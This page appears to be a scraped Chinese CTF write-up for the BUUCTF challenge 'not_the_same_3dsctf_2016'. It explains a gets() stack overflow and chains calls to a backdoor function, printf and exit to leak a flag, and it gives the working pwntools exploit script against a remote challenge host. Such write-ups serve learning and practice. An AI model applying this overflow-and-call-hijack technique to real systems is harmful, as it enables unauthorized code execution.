当前位置: 首页 > news >正文

PWN手的从成长之路-08-not_the_same_3dsctf_2016-溢出+函数调用劫持

image

远程连接,没有什么可用信息。
image

file 查看文件。32 位 ELF 可执行文件。
image

checksec 查看文件安全属性。开启了 NX 保护,栈上无法执行。
image

IDA 打开文件。查看 main 函数,发现了 gets() 高危函数。
image

并且在 get_secret 函数中找到了后门。它用只读模式打开 flag.txt ,之后将文件存放在 fl4g 变量中。那么我们就可以想到,用 printf() 函数将 fl4g 变量内容打印出来。
image

分析 main函数的汇编代码,发现其没有 push 指令,并且 retn 没有设置返回地址,因此构造 exp 的时候就不需要覆盖返回地址。
image

计算溢出大小:0x2D+0=0x2D
image

我们需要调用 printf() 函数,所以我们要找到它的内存地址。
image

双击 printf,就找到了其内存地址
image

调用 printf 函数之前,我们需要了解 printf 函数的输出原理:printf 函数并不会立即把输出内容写显示到屏幕上,而是先将输出内容写入到缓冲区中。只有满足一定条件时(比如缓冲区满,遇到换行符 \n 且开启了行缓冲模式、程序正常结束或调用 flush 函数刷新缓冲区等),缓冲区中的内容才会被实际输出到对应的设备上。

因此脚本就需要添加一个返回地址。

大致流程:先溢出,之后直接执行后门,让程序将 flag.txt 的内容存到 fl4g 变量中,再调用 printf 函数地址,因为这里 printf 函数得到输入后,没有结束程序,所以数据就会保存在缓冲区中,这时就要调用一个返回地址结束程序(exit 函数),然后触发 printf 的输出机制,再在后面添加 fl4g 变量的内存地址,让 printf 定位到 fl4g 的数据。(简洁流程:调用 printf 地址获取 fl4g 的内容,再调用 exit 结束地址触发缓冲区刷新以显示内容,最后到 fl4g 的内存地址,让 printf 定位数据。)

exit 函数地址(返回地址)
image

printf 函数地址。
image

fl4g 变量地址。
image

编写 exp:

from pwn import *  
r=remote('node5.buuoj.cn',29302)  get_secret_addr=0x80489A0  
printf_addr=0x0804F0A0  
exit_addr=0x0804E660  
flag_addr=0x080ECA2D  payload=b'a'*(0x2D)+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr)  
r.sendline(payload)  
r.interactive()

flag 被打印出来。
image

http://www.hskmm.com/?act=detail&tid=24234

相关文章:

  • 12-windows11的WSL详解
  • 完整教程:如何将文件从电脑传输到安卓设备
  • [vmware+openeuler22.03]创建软RAID
  • C++右值引用
  • 价值处理单元(VPU)专题研究:构建可信AI的基石
  • NOIP模拟赛记录
  • 软件工程第一次作业--关于未来规划和自我发展
  • 2025太阳能厂家推荐天津龙腾,太阳能热水系统,发电系统,光伏热系统,热水工程系统,预加热系统,中央热水系统,彩图发电系统,分户储水系统,分户计量系统推荐
  • 集训模拟赛日志
  • 1688 商品采集 API 调用全流程分享:从准备到实操 - 实践
  • 2025最新推荐化妆品代工公司排行榜:含 OEM / ODM / 一站式服务企业,助力品牌方精准选合作方
  • 悟空博弈单元(WBUC)专题研究:面向可能性计算的结构化创新架构
  • 访问控制、用户认证、https - 实践
  • GO_基础
  • sg.完整布局演示
  • sg.justification用法
  • Set
  • SCCPC2021重现赛
  • Ros2_control浅析——一个机器人开发通用框架的结构(1)
  • 图的计数问题没做
  • 11_linux镜像下载
  • CF2152 Squarepoint Challenge (Codeforces Round 1055, Div. 1 + Div. 2) 游记
  • 框架系统在自然语言处理深度语义分析中的作用、挑战与未来展望 - 实践
  • 10_windows11安装virtualbox
  • 9_windows11安装docker
  • 英语语法填空
  • 从涌现到戏台:AI元人文构想的演进历程
  • 题解:P14124 [SCCPC 2021] Nihongo wa Muzukashii Desu
  • QBXT2025S Day3题
  • python+vue在线视频课程学习系统设计(源码+文档+调试+基础修改+答疑) - 详解